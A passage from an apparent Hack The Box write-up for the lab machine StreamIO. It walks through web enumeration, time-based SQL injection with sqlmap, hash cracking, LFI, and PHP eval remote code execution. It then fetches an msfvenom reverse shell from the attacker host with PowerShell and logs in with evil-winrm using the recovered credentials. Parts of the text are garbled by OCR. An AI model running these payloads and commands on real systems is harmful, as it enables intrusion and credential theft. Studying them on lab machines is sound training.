


Machine IP: 10.10.11.158



Author: Arman

- <https://github.com/ArmanHZ>
- <https://app.hackthebox.com/profile/318304>

Note: This write up was written in different days. There may be IP changes along the way.

Initial Enumeration

We start with `nmap`:

```
mkdir nmap
nmap -sC -sV -v -oN nmap/initial_scan 10.10.11.158
```

```
PORT      STATE SERVICE          VERSION
53/tcp    open  domain         Simple DNS Plus
80/tcp    open  http           Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
```

```

|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-01
00:33:26Z)
135/tcp  open  msrpc      Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap       Microsoft Windows Active Directory LDAP (Domain:
streamIO.htb0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http   Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-favicon: Unknown favicon MD5: 3BBA52018DC9C10518012FB1E55ABBF8
|_http-title: Streamio
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| tls-alpn:
|_  http/1.1
|_ssl-date: 2022-08-01T00:34:14+00:00; +7h00m00s from scanner time.
| http-server-header:
|   Microsoft-HTTPAPI/2.0
|_  Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after:  2022-03-24T07:03:28
| MD5:   b99a 2c8d a0b8 b10a eefa be20 4abd ecaf
|_SHA-1: 6c6a 3f5c 7536 61d5 2da6 0e66 75c0 56ce 56e4 656d
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap       Microsoft Windows Active Directory LDAP (Domain:
streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows


Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-08-01T00:33:37
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

```

We have many ports open. We will first check out the web page, however, before doing that we will add the following domain names found by `nmap` to our `/etc/hosts` file:

```
10.10.11.158 streamIO.htb watch.streamIO.htb
```

Checking out the web page




We get a default Windows Server landing page, however, the `nmap` results showed us there were `HTTP` data. Looking closely, the data belonged to the `443` port. So, we have to go to the `https` link.

Navigating to `https://10.10.11.158` and accepting the certificate warning, we get:

A screenshot of a web browser window. The address bar shows the URL 'https://10.10.11.158'. The main content area displays a large red 'Not Found' error message. Below it, a smaller text message reads 'HTTP Error 404. The requested resource is not found.' There is a vertical purple sidebar on the left side of the browser window.

Still not the desired outcome. Finally let up try `https://streamIO.htb`



Finally, we get a hit. Before running our web enumeration tools, we can also check the other domain <https://watch.streamIO.htb>.

A screenshot of a web browser displaying the StreamIO 'watch' page. The page has a dark background with the StreamIO logo at the top center. Below the logo, there is a message: "StreamIO provides the services to stream online movies at our platform. Watch all the top movies in UHD definition with no lag." Underneath this message, there is a section for email subscriptions with the text "Want to receive updates on new movie arrivals? Leave us your Email ID to get added on the subscription list." A text input field and a "Add" button are present. At the bottom of the page, there is a "FAQs" section with three expandable questions: "Where can I watch this?", "Can I get all the latest movies here?", and "Is this website kid friendly?". Each question has a plus sign icon to its right.

We have another page.

Now let us run our web enumeration tools!

Enumerating the web pages

We will first perform files and directories enumeration on the two domains. If we do not find anything, we can try other things.

We will also use **SecLists** for our word list. (<https://github.com/danielmiessler/SecLists>)

```

# Since the server is Windows (case insensitive), we can use lowercase versions of
# the word lists.
# For files
wfuzz -c -w raft-small-files-lowercase.txt https://streamio.htb/FUZZ
# For directories
wfuzz -c -w raft-small-directories-lowercase.txt https://streamio.htb/FUZZ

# Same for https://watch.streamio.htb/ as well

```

Results:

```

Target: https://streamio.htb/FUZZ
=====
ID      Response    Lines     Word      Chars      Request
=====
00003:  C=301       1 L      10 W      150 Ch     "admin"
00002:  C=301       1 L      10 W      151 Ch     "images"
00015:  C=301       1 L      10 W      148 Ch     "css"
00009:  C=301       1 L      10 W      147 Ch     "js"
00267:  C=301       1 L      10 W      150 Ch     "fonts"
03809:  C=200      394 L     915 W     13497 Ch   "https://streamio.htb/"

Target: https://streamio.htb/FUZZ
=====
ID      Response    Lines     Word      Chars      Request
=====
00001:  C=200      394 L     915 W     13497 Ch   "index.php"
00010:  C=200      120 L     291 W     4500 Ch    "register.php"
00004:  C=200      110 L     269 W     4145 Ch    "login.php"
00102:  C=200       0 L      7 W      1148 Ch    "favicon.ico"
00098:  C=200      205 L     430 W     6434 Ch    "contact.php"
00148:  C=302       0 L      0 W      0 Ch      "logout.php"
00366:  C=200      394 L     915 W     13497 Ch   "."
00478:  C=200      230 L     571 W     7825 Ch    "about.php"

Target: https://watch.streamio.htb/FUZZ
=====
ID      Response    Lines     Word      Chars      Request
=====
00154:  C=301       1 L      10 W      157 Ch     "static"
03809:  C=200      78 L      245 W     2829 Ch   "https://watch.streamio.htb/"


Target: https://watch.streamio.htb/FUZZ
=====
ID      Response    Lines     Word      Chars      Request
=====
00001:  C=200      78 L      245 W     2829 Ch   "index.php"
00002:  C=200     7193 L     19558 W    253887 Ch  "search.php"
00102:  C=200       0 L      7 W      1148 Ch    "favicon.ico"
00366:  C=200      78 L      245 W     2829 Ch   "."
00700:  C=200      19 L      47 W      677 Ch    "blocked.php"

```

Let us start with streamio.htb

Checking out streamio.htb

Just scrolling down the main page, we find a potentially valuable email:



Navigating to [about.php](#), we find some names which we can use for brute forcing in the future if needed.



Barry
Content manager



Oliver
Web Developer



Samantha
Public affairs manager

It appears as though, we are hacking the Arrow squad.

[contact.php](#) has a forum, but it does not seem to be vulnerable.

[login.php](#) and [register.php](#) are interesting. We can create an account via [register.php](#), however, we cannot login to it.

Create a new account

Account created

Username

Choose a password

Confirm password

Sign up

Already have an account? [Login](#)

However, the login button (highlighted), leads us to <https://streamio.htb/user-login.html>

The screenshot shows a web browser window with the URL <https://streamio.htb/user-login.html> in the address bar. The title bar says "Server Error". The main content area displays a red "404 - File or directory not found." message and a smaller text below it stating "The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable."

The `user-login.html`, does not exist and as mentioned before, `login.php` is no good either. This is indeed interesting.

There seems to be nothing else worth checking. Now moving on to `watch.streamio.htb`:

Checking out `watch.streamio.htb`

The only interesting thing is `search.php`, which appears to be a movie database. Trying some injections we get the following:

The screenshot shows a web browser window with the URL <https://watch.streamio.htb/blocked.php>. The page features a large "STREAMIO" logo at the top. Below it, a message reads "Malicious Activity detected!! Session Blocked for 5 minutes".

Now that we have seen what the web pages have, we can start our attack. There are other services we can check, but we will do so if we do not progress attacking the web pages.

Initial foothold

After trying more injections in the <https://watch.streamio.htb/search.php>, we get nowhere. However, trying the following injection in the <https://streamio.htb/login.php>, we get a blind `sql`:

```
-- Without the '
-- Timed based sql. The response comes after 10 seconds, so we know we have a sql
username=asd' WAITFOR DELAY '00:00:10' -- -&password=asd
```

We will use `sqlmap`. Unfortunately, this will take a lot of time, since we are dealing with a time based sql injection.

We can get the `POST` request parameters using Firefox Network tab (ctrl+shift+e)

The screenshot shows the Firefox Network tab with the following details:

- Status: 200
- Method: POST
- Domain: streamio.htb
- File: login.php
- Initiator: document
- Type: html
- Transferred: 4.41 KB
- Size: 4.11 KB
- Headers, Cookies, Request, Response, Timings, Security tabs are visible.
- Form data: username: "asd", password: "asd"

```
sqlmap -o -u https://streamio.htb/login.php --data='username=asd&password=asd' -D
STREAMIO -T users --dump --batch
```

The results:

Database: STREAMIO			
Table: users			
[30 entries]			
id	is_staff	password	username
3	1	c660060492d9edcaa8332d89c99c9239	James
4	1	925e5408ecb67aea449373d668b7359e	Theodore
5	1	083ffae904143c4796e464dac33c1f7d	Samantha
6	1	08344b85b329d7efd611b7a7743e8a09	Lauren
7	1	d62be0dc82071bcc1322d64ec5b6c51	William
8	1	f87d3c0d6c8fd686aacc6627f1f493a5	Sabrina
9	1	f03b910e2bd0313a23fdd7575f34a694	Robert
10	1	3577c47eb1e12c8ba021611e1280753c	Thane
11	1	35394484d89fcfdb3c5e447fe749d213	Carmon

12 1	54c88b2dbd7b1a84012fabcl1a4c73415	Barry	
13 1	fd78db29173a5cf701bd69027cb9bf6b	Oliver	
14 1	b83439b16f844bd6ffe35c02fe21b3c0	Michelle	
15 1	0cfaaaafb559f081df2befbe66686de0	Gloria	
16 1	b22abb47a02b52d5dfa27fb0b534f693	Victoria	
17 1	1c2b3d8270321140e5153f6637d3ee53	Alexendra	
18 1	22ee218331af081b0dc8115284bae3	Baxter	
19 1	ef8f3d30a856cf166fb8215aca93e9ff	Clara	
20 1	3961548825e3e21df5646cafe11c6c76	Barbra	
21 1	ee0b8a0937abd60c2882eacb2f8dc49f	Lenord	
22 1	0049ac57646627b8d7aeaccf8b6a936f	Austin	
23 1	8097cedd612cc37c29db152b6e9edbd3	Garfield	
24 1	6dcd87740abb64edfa36d170f0d5450d	Juliette	
25 1	bf55e15b119860a6e6b5a164377da719	Victor	
26 1	7df45a9e3de3863807c026ba48e55fb3	Lucifer	
!CE60			
97: 1	2a4e2cf22dd8fcb45adcb91be1e22ae8	Bruno	
28 1	ec33265e5fc8c2f1b0c137bb7b3632b5	Diablo	
29 1	dc332fb5576e9631c9dae83f194f8e70	Robin	
30 1	384463526d288edcc95fc3701e523bc7	Stan	
31 1	b779ba15cedfd22a023c4d8bcf5f2332	yoshihide	
<XX\x01\x00\x01			
33 0	665a50ac9eaa781e4f7f04199db97a11	admin	
+-----+-----+-----+-----+			
-----+-----+			

We can crack the passwords using `hashcat`:

```
PS C:\My_files\hashcat-6.2.5> .\hashcat.exe -m 0 .\Hashes\StreamIO\hashes.txt -r
.\rules\best64.rule .\rockyou.txt --show

08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##  

3577c47eb1e12c8ba021611e1280753c:highschoolmusical  

f87d3c0d6c8fd686aacc6627f1f493a5:!sabrina$  

ee0b8a0937abd60c2882eacb2f8dc49f:physics69i  

54c88b2dbd7b1a84012fabcl1a4c73415:$hadow
```


```
6dcd87740abb64edfa36d170f0d5450d:$3xybitch  
ef8f3d30a856cf166fb8215aca93e9ff:%$clara  
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$  
b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!  
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123  
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..  
665a50ac9eaa781e4f7f04199db97a11:paddpadd
```

Trying the username password combos on the website, we are able to login with `yoshihide:66boysandgirls..`

After logging in, we can navigate to the `https://streamio.htb/admin` directory.

We will again run `wfuzz` to brute force the directories:

Keep in mind that we need to include the cookie as well, since we are logged in as `yoshihide`. The cookie can be acquired using the Firefox Network tab.



```
# And second one with directories  
wfuzz -c -w raft-small-files-lowercase.txt --hc 404 -u  
'https://streamio.htb/admin/FUZZ' -H 'Cookie: PHPSESSID=rpfm5t44tkjm5d8m79el3l533u'
```

Target: https://streamio.htb/admin/FUZZ					
ID	Response	Lines	Word	Chars	Payload
000000001:	200	49 L	131 W	1678 Ch	"index.php"
000000366:	200	49 L	131 W	1678 Ch	". "
000009786:	200	1 L	6 W	58 Ch	"master.php"

We do not get anything important. However, clicking one of the buttons on the `/admin` page, we get the following interesting parameter:

The screenshot shows a browser window with the title "Hack The Box :: Machines" and a tab titled "Admin panel". The URL in the address bar is https://streamio.htb/admin/?user=. A red box highlights the "?user=" part of the URL.

Admin panel

User management

Staff management

Movie management

Leave a message for admin

User management

admin

Delete

test

Delete

Again, this finding by itself does not lead us anywhere. However, we can use `wfuzz` on this parameter as well:

```
wfuzz -c -w raft-medium-words-lowercase.txt -u 'https://streamio.htb/admin/?FUZZ=' -H 'Cookie: PHPSESSID=rpfm5t44tkjm5d8m79el3l533u' --hh 1678
```

Target: https://streamio.htb/admin/?FUZZ=

ID	Response	Lines	Word	Chars	Payload
000000031:	200	74 L	187 W	2444 Ch	"user"
000000475:	200	398 L	916 W	12484 Ch	"staff"
000000663:	200	49 L	137 W	1712 Ch	"debug"
000001380:	200	10790 L	25878 W	320235 Ch	"movie"

We find `debug` which is very interesting.

Trying to read a file using `debug`, we can try reading the hosts file of Windows:

c:\Windows\System32\Drivers\etc\hosts

The screenshot shows a browser window with the title "Hack The Box :: Machines" and a tab titled "Admin panel". The URL in the address bar is https://streamio.htb/admin/?debug=c:\Windows\System32\Drivers\etc\hosts. A red box highlights the "?debug=" part of the URL.

Admin panel

User management

Staff management

Movie management

Leave a message for admin

```
this option is for developers only# Copyright (c) 1993-2009 Microsoft Corp. # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # #
This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in
the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # #
Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: #
# 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. #
# 127.0.0.1 localhost # ::1 localhost 127.0.0.1 watch.streamio.htb streamio.htb
```

And we get an output. So, we have an **LFI** exploit.

We can read the `index.php` and `master.php` files using the `filter` wrapper and encoding the files in `base64`.

Trying to read `master.php`, we get:

```
https://streamio.htb/admin/?debug=php://filter/read=convert.base64-
encode/resource=../master.php
```

```
PGgxPk1vdmlIIG1hbhFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWrlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllK
CJPbm5IGfjY2Vzc2FibUGdGhyb3VnaCBpbmNsdWRlcyIp0w0KaWYoaxXnZXQoJF9QT1NUWydtb3ZpZV9pZC
ddKSkNCnsNCiRxdWVyeSA9ICJkZwldGUgZnJvbSBtb3ZpZXMgd2hlcumUgaWQgPSAiLiRfUE9TVFsnbW92aWV
faWQnXTsNCiRyZXmgPSBzcWxzcfcXVlcncokojGhhbmRsZSwgJHF1ZXJ5LCBhcnJheSgpLCBhcnJheSgiU2Ny
b2xsYWJsZSI9PijidWzmxJlZCipKTsNCn0NCiRxdWVyeSA9ICJzZwxy3QgKiBmc9tIG1vdmllycBvcmRlc
iBiEBtb3ZpZSI7DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRCroYw5kbGUuICRxdWVyeSwgYXJyYXkoKSwgYXJyYX
koIlNjcm9sbGFibGUIPT4iYnVmVzWQikSK7DQp3aGlsZSgkcm93ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCR
yZXMsIFNRTFNSVl9GRVRDSF9BU1NPQykpDQp7DQo/Pg0KDQo8ZG12Pg0KCTxkaXYgY2xhc3M9ImZvcm0tY29u
dHJvbCIgc3R5bGU9ImhlaWdodDogM3JlbTsiPg0KCQk8aDQgc3R5bGU9ImZsb2F00mxlZnQ7Ij48P3BoccBLy
2hvICRyb3dbJ21vdmlIj107ID8+PC9oND4NCgkJPGRpdibZdHlsZT0iZmxvYXQ6cm1naHQ7cGFkZGluZy1yaW
dodDogMjVweDsiPg0KCQkJPGrvc0gbWV0aG9kPSJQT1NUIiBhY3Rp249Ij9tb3ZpZT0iPg0KCQkJCTxpbnB
1dCBoeXB1PSJoaWRkZW4iIG5hbWU9Im1vdmlI2lkIiB2Yw1ZT0iPD9waHAgZWNobyAkcm93WdpZCdd0yA/
Pi+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXByaW1hcnkiIHZhB
HVLPSJEZwldGUiPg0KCQkJPc9mb3JtPg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCjwvZG12Pg0KPD9waHANCn0gIy
B3aGlsZSBlbmQNCj8+DQo8YnI+PGhyPjxicj4NCjxoMT5TdGFmZiBtYW5hZ21lnQ8L2gxPg0KPD9waHANCml
mKCFkZWpbmVkcKcdpbmNsdlZCcpKQ0KCWRpZSgiT25seSBhY2Nlc3NhYmxliHRCm91Z2ggaW5jbHVkZXMi
KTsNCiRxdWVyeSA9ICJzZwxy3QgKiBmc9tIhdoZXJlIGlzx3N0YWZmID0gMSAi0w0KJHJlcyA9I
HNxbHNYdl9xdWVyeSgkaGFuZGxllCAkcXVlcoksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlij0+ImJ1Zm
ZlcmVkiikp0w0KaWYoaxXnZXQoJF9QT1NUWydzdGFmz19pZCddKskNCnsNCj8+DQo8ZG12IGNsYXNzPSJhbGV
ydCBhbGVydC1zdWnjZXNzIj4gTWzc2FnZSBzZw50IHRvIGFkbWluaXN0cmF0b3I8L2Rpdj4NCjw/cGhwDQp9
DQokcXVlcngkPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDEi0w0KJHJlcyA9IHNxb
HNydl9xdWVyeSgkaGFuZGxllCAkcXVlcoksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlij0+ImJ1ZmZlcm
Vkiikp0w0Kd2hpGUoJHJvdyA9IHNxbHNYdl9mZXRjaF9hcnJheSgkcmVzLCBTUUxtULZfRKvUQ0hFQVNTT0M
pKQ0Kew0KPz4NCg0KPGRpjd4NCgk8ZG12IGNsYXNzPSJmb3JtLWNvnbnRyb2wiIHN0eWx1PSJozWlnaHQ6IDNy
ZW07Ij4NCgkJPgg0IHN0eWx1PSJmbG9hdDpsZWZ00yI+PD9waHAgZWNobyAkcm93Wyd1c2VybmfTzsdd0yA/P
jwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F00nJpZ2h003BhZGRpbmctcm1naHQ6IDI1cHg7Ij4NCgkJCTxmb3
JtIG1ldGhvZD0iUE9TVCi+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmfTzT0i1c3RhZmZfaWQiIHZhBHV
lPSI8P3BocCBLy2hvICRyb3dbJ2lkJ107ID8+iJ4NCgkJCQk8aW5wdXQgdHlwZT0i1c3VibWl0IiBjbGFzcz0i
YnRuIGJ0bi1zbSBidG4tcHJpbWFyeSIgdmFsdWU9IkRlbGV0ZSI+DQoJCQk8L2Zvcm0+DQoJCTwvZG12Pg0KC
TwvZG12Pg0KPC9kaXY+DQo8P3BocA0KfSAjIHdoaWx1IGVuZA0KPz4NCjxicj48aHI+PGJyPg0KPGgxPlVzZX
IgbWFuYWdtZW50PC9oMT4NCjw/cGhwDQppZighZGVmaW5lZCgnaW5jBhvKZWQnKSknCglkaWUoIk9ubHkgYWN
jZXNzYWJsZSB0aHJvdWdoIGluY2x1ZGVzIiK7DQpZihpc3NldCgkX1BPU1RbJ3VzZXJfaWQnXSkpDQp7DQok
cXVlcngkPSAiZGVsZXRLIGZyb20gdXNlcMgd2hlcumUgaXNfc3RhZmYgPSAwIGFuZCbpZCA9ICIuJF9QT1NUW
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cXVlcngkPSAiZGVsZXRLIGZyb20gdXNlcMgd2hlcumUgaXNfc3RhZmYgPSAwIGFuZCbpZCA9ICIuJF9QT1NUW
yd1c2VyX2lkJ107DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRCroYw5kbGUuICRxdWVyeSwgYXJyYXkoKSwgYXJyYX
koIlNjcm9sbGFibGUIPT4iYnVmVzWQikSK7DQp9DQokcXVlcngkPSAi2VsZWN0ICogZnJvbSB1c2VycyB
3aGVyZSBpc19zdGFmZiA9IDAi0w0KJHJlcyA9IHNxbHNYdl9xdWVyeSgkaGFuZGxllCAkcXVlcoksIGFycmF5
KCksIGFycmF5KCJTY3JvbGxhYmxlij0+ImJ1ZmZlcmVkiikp0w0Kd2hpGUoJHJvdyA9IHNxbHNYdl9mZXRja
F9hcnJheSgkcmVzLCBTUUxtULZfRKvUQ0hFQVNTT0MpkQ0Kew0KPz4NCg0KPGRpjd4NCgk8ZG12IGNsYXNzPS
Jmb3JtLWNvnbnRyb2wiIHN0eWx1PSJmbG9hdDpsZWZ00yI+PD9waHAgZWNobyAkcm93Wyd1c2VybmfTzsdd0yA/P
jwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F00nJpZ2h003BhZGRpbmctcm1naHQ6IDI1cHg7Ij4NCgkJCTxmb3
JtIG1ldGhvZD0iUE9TVCi+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmfTzT0i1c3RhZmZfaWQiIHZhBHV
lPSI8P3BocCBLy2hvICRyb3dbJ2lkJ107ID8+iJ4NCgkJCQk8aW5wdXQgdHlwZT0i1c3VibWl0IiBjbGFzcz0i
YnRuIGJ0bi1zbSBidG4tcHJpbWFyeSIgdmFsdWU9IkRlbGV0ZSI+DQoJCQk8L2Zvcm0+DQoJCTwvZG12Pg0KC
TwvZG12Pg0KPC9kaXY+DQo8P3BocA0KfSAjIHdoaWx1IGVuZA0KPz4NCjxicj48aHI+PGJyPg0KPGgxPlVzZX
IgbWFuYWdtZW50PC9oMT4NCjw/cGhwDQppZighZGVmaW5lZCgnaW5jBhvKZWQnKSknCglkaWUoIk9ubHkgYWN
jZXNzYWJsZSB0aHJvdWdoIGluY2x1ZGVzIiK7DQpZihpc3NldCgkX1BPU1RbJ3VzZXJfaWQnXSkpDQp7DQok
cXVlcng
```

```
gkX1BPU1RbJ2luY2x1ZGUuXSAhPT0gImluZGV4LnBocCIgKSANCmV2YWoZmlsZV9nZXRFY29udGVudHMoJF9  
QT1NUWydpbmNsdlWRLJ10pKTsNCmVsc2UNCmVjaG8oIiAtLS0tIEVSUk9SIC0tLS0gIik7DQp9DQo/Pg==
```

And decoding the output and reading it, we get the source code.

Analyzing the files, we get another username and password pair from the `index.php` file:

```
6 if(!isset($_SESSION['admin']))  
5 {  
4     header('HTTP/1.1 403 Forbidden');  
3     die("<h1>FORBIDDEN</h1>");  
2 }  
1 $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');  
10 $handle = sqlsrv_connect('(local)',$connection);  
1  
2 ?>  
3 <!DOCTYPE html>  
4 <html>  
5 <head>
```

Database credentials: `db_admin:B1@hx31234567890`

Analyzing the `master.php` file, we get the following:

```
14 # while end  
13 ?>  
12 <br><hr><br>  
11 <form method="POST">  
10 <input name="include" hidden>  
9 </form>  
8 <?php if (isset($_POST["include"])) {  
7     if ($_POST["include"] != "index.php") {  
6         eval(file_get_contents($_POST["include"]));  
5     } else {  
4         echo " ---- ERROR ---- ";  
3     }  
2 }  
1 ?>
```

Using the `include` parameter, we can exploit the `eval` function and achieve RCE!

RCE

We will use the `system` function of PHP for RCE.

```
echo -n 'system($_GET["rce"]);' | base64 # c3lzdGVtKCRfR0VUWyJyY2UiXSk7  
curl --insecure -X POST -d  
"include=data://text/plain;base64,c3lzdGVtKCRfR0VUWyJyY2UiXSk7" -H "Cookie:  
PHPSESSID=rpfm5t44tkjm5d8m79el3l533u" "https://streamio.htb/admin/?  
debug=master.php&rce=dir"
```

We will use the `rce` get parameter to input any command we want. This works because we are utilizing the `eval` function which is used by the `include` GET parameter.

We run the `dir` command and the output is as follows:

```

<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
Volume in drive C has no label.
Volume Serial Number is A381-2B63

Directory of C:\inetpub\streamio.htb\admin

02/22/2022  03:49 AM    <DIR>          .
02/22/2022  03:49 AM    <DIR>          ..
02/22/2022  03:49 AM    <DIR>          css
02/22/2022  03:49 AM    <DIR>          fonts
02/22/2022  03:49 AM    <DIR>          images
06/03/2022  01:51 AM            2,401 index.php
02/22/2022  04:19 AM    <DIR>          js
06/03/2022  01:53 AM            3,055 master.php
02/23/2022  03:16 AM            878 movie_inc.php
02/23/2022  03:16 AM            936 staff_inc.php
02/23/2022  03:16 AM            879 user_inc.php
      5 File(s)           8,149 bytes
      6 Dir(s)   7,188,611,072 bytes free
</div>
</center>
</body>
</html>%
```

Reverse Shell

We will create a reverse shell payload using `msfvenom` and use the `Invoke-WebRequest (iwr)` to upload our shell to the server and then execute it.

Creating the payload:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=9000 -f exe >
rev.exe
```

We have to create an `http` server to host our file:

```
sudo python3 -m http.server 80
```

Upload it to the server:

```
curl --insecure -X POST -
"include=data://text/plain;base64,c3lzdGVtKCRfR0VUWyJyY2UiXSk7" -H "Cookie:
PHPSESSID=rpfm5t44tkjm5d8m79el3l533u" "https://streamio.htb/admin/?
debug=master.php&rce=powershell.exe+-c+iwr+-uri+http://10.10.14.10/rev.exe+-
outfile+rev.exe"
```

```

</div>
<br><hr><br>
<h1>User management</h1>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;">admin </h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="user_id" value="33">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
</div>
</center>
</body>
</html>[2]
~/Hacking/Boxes/StreamIO
λ ▶ [2]

```

```

~/Hacking/Boxes/StreamIO
λ ▶ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.158 - - [21/Aug/2022 18:46:00] "GET /rev.exe HTTP/1.1" 200 -

```

If we only use `powershell.exe .\rev.exe` the server will hang. We will run the `rev.exe` file in the background. Doing this in Linux is easy by just adding `&`, however, it requires a bit more work in Windows.

We have to use `start-process` with the `-windowstyle hidden` flag.

Before running the following command, we have to listen with `netcat`:

```

nc -lvpn 9000
# Optionally use the following to get more features like tab complete
rlwrap nc -lvpn 9000

```

```

curl --insecure -X POST -d
"include=data://text/plain;base64,c3lzdGVtKCRfR0VUWyJyY2UiXSk7" -H "Cookie:
PHPSESSID=rpfm5t44tkjm5d8m79el3l533u" "https://streamio.htb/admin/?
debug=master.php&rce=powershell.exe+-c+start-process+.\\rev.exe+-windowstyle+hidden"

```

After doing this, we get a reverse shell!

```

</div>
<br><hr><br>
<h1>User management</h1>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;">admin </h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="user_id" value="33">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
</div>
</center>
</body>
</html>%
```

~/Hacking/Boxes/StreamIO
λ ▶

```

~/Hacking/Boxes/StreamIO
λ ▶ rlwrap nc -lvp 9000
Connection from 10.10.11.158:62838
Microsoft Windows [Version 10.0.17763.2928]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\streamio.htb\admin>whoami
whoami
streamio\yoshihide

C:\inetpub\streamio.htb\admin>
```

Getting the user flag

The `user.txt` is not in the desktop folder of `yoshihide`.

Running `dir C:\Users`, we get the following:

```

Directory of C:\Users

02/22/2022  03:48 AM  <DIR>      .
02/22/2022  03:48 AM  <DIR>      ..
02/22/2022  03:48 AM  <DIR>      .NET v4.5
02/22/2022  03:48 AM  <DIR>      .NET v4.5 Classic
02/26/2022  11:20 AM  <DIR>      Administrator
05/09/2022  05:38 PM  <DIR>      Martin
02/26/2022  10:48 AM  <DIR>      nikk37
02/22/2022  02:33 AM  <DIR>      Public
```

So, one of the other users must have the `user.txt` and thus should be our target.

Remembering the `sql` credentials and the database `STREAMIO` from `index.php`, we can use `Invoke-Sqlcmd` to access the database:

Make sure that you are in a `powershell.exe` session rather than `cmd.exe` before running the following commands!

```
Invoke-Sqlcmd -Database STREAMIO -Query "select database_id, name from sys.databases"
```

Output:

database_id	name
1	master
2	tempdb
3	model
4	msdb
5	STREAMIO
6	streamio_backup

Now that we know all other databases, the `streamio_backup` seems the most interesting. So, let us check it out.

```
Invoke-Sqlcmd -Username db_admin -Password "B1@hx31234567890" -Database streamio_backup -Query "select * from information_schema.tables"
```

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	TABLE_TYPE
streamio_backup	dbo	movies	BASE TABLE
streamio_backup	dbo	users	BASE TABLE

```
Invoke-Sqlcmd -Username db_admin -Password "B1@hx31234567890" -Database streamio_backup -Query "select * from users"
```

id	username	password
1	nikk37	
	389d14cb8e4e9b94b137deb1caf0612a	
2	yoshihide	
	b779ba15cedfd22a023c4d8bcf5f2332	
3	James	
	c660060492d9edcaa8332d89c99c9239	
4	Theodore	
	925e5408ecb67aea449373d668b7359e	
5	Samantha	
	083ffae904143c4796e464dac33c1f7d	
6	Lauren	
	08344b85b329d7efd611b7a7743e8a09	
7	William	
	d62be0dc82071bcc1322d64ec5b6c51	
8	Sabrina	
	f87d3c0d6c8fd686aacc6627f1f493a5	

We have some additional user:password hashes. `nikk37` is important, since it is in the `Users` directory. Cracking the passwords, we get:

Note: You must use a rule set with email stuff or use <https://crackstation.net/> for `nikk37`'s hash.

```
nikk37:get_demo_girls2@yahoo.com
```

Trying our luck with `evil-winrm`, we can login as `nikk37` and get the user flag!

```
~/Hacking/Boxes/StreamIO
λ ► evil-winrm -i 10.10.11.158 -u nikk37 -p 'get_demo_girls2@yahoo.com'

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\nikk37\Documents> gci ..\Desktop

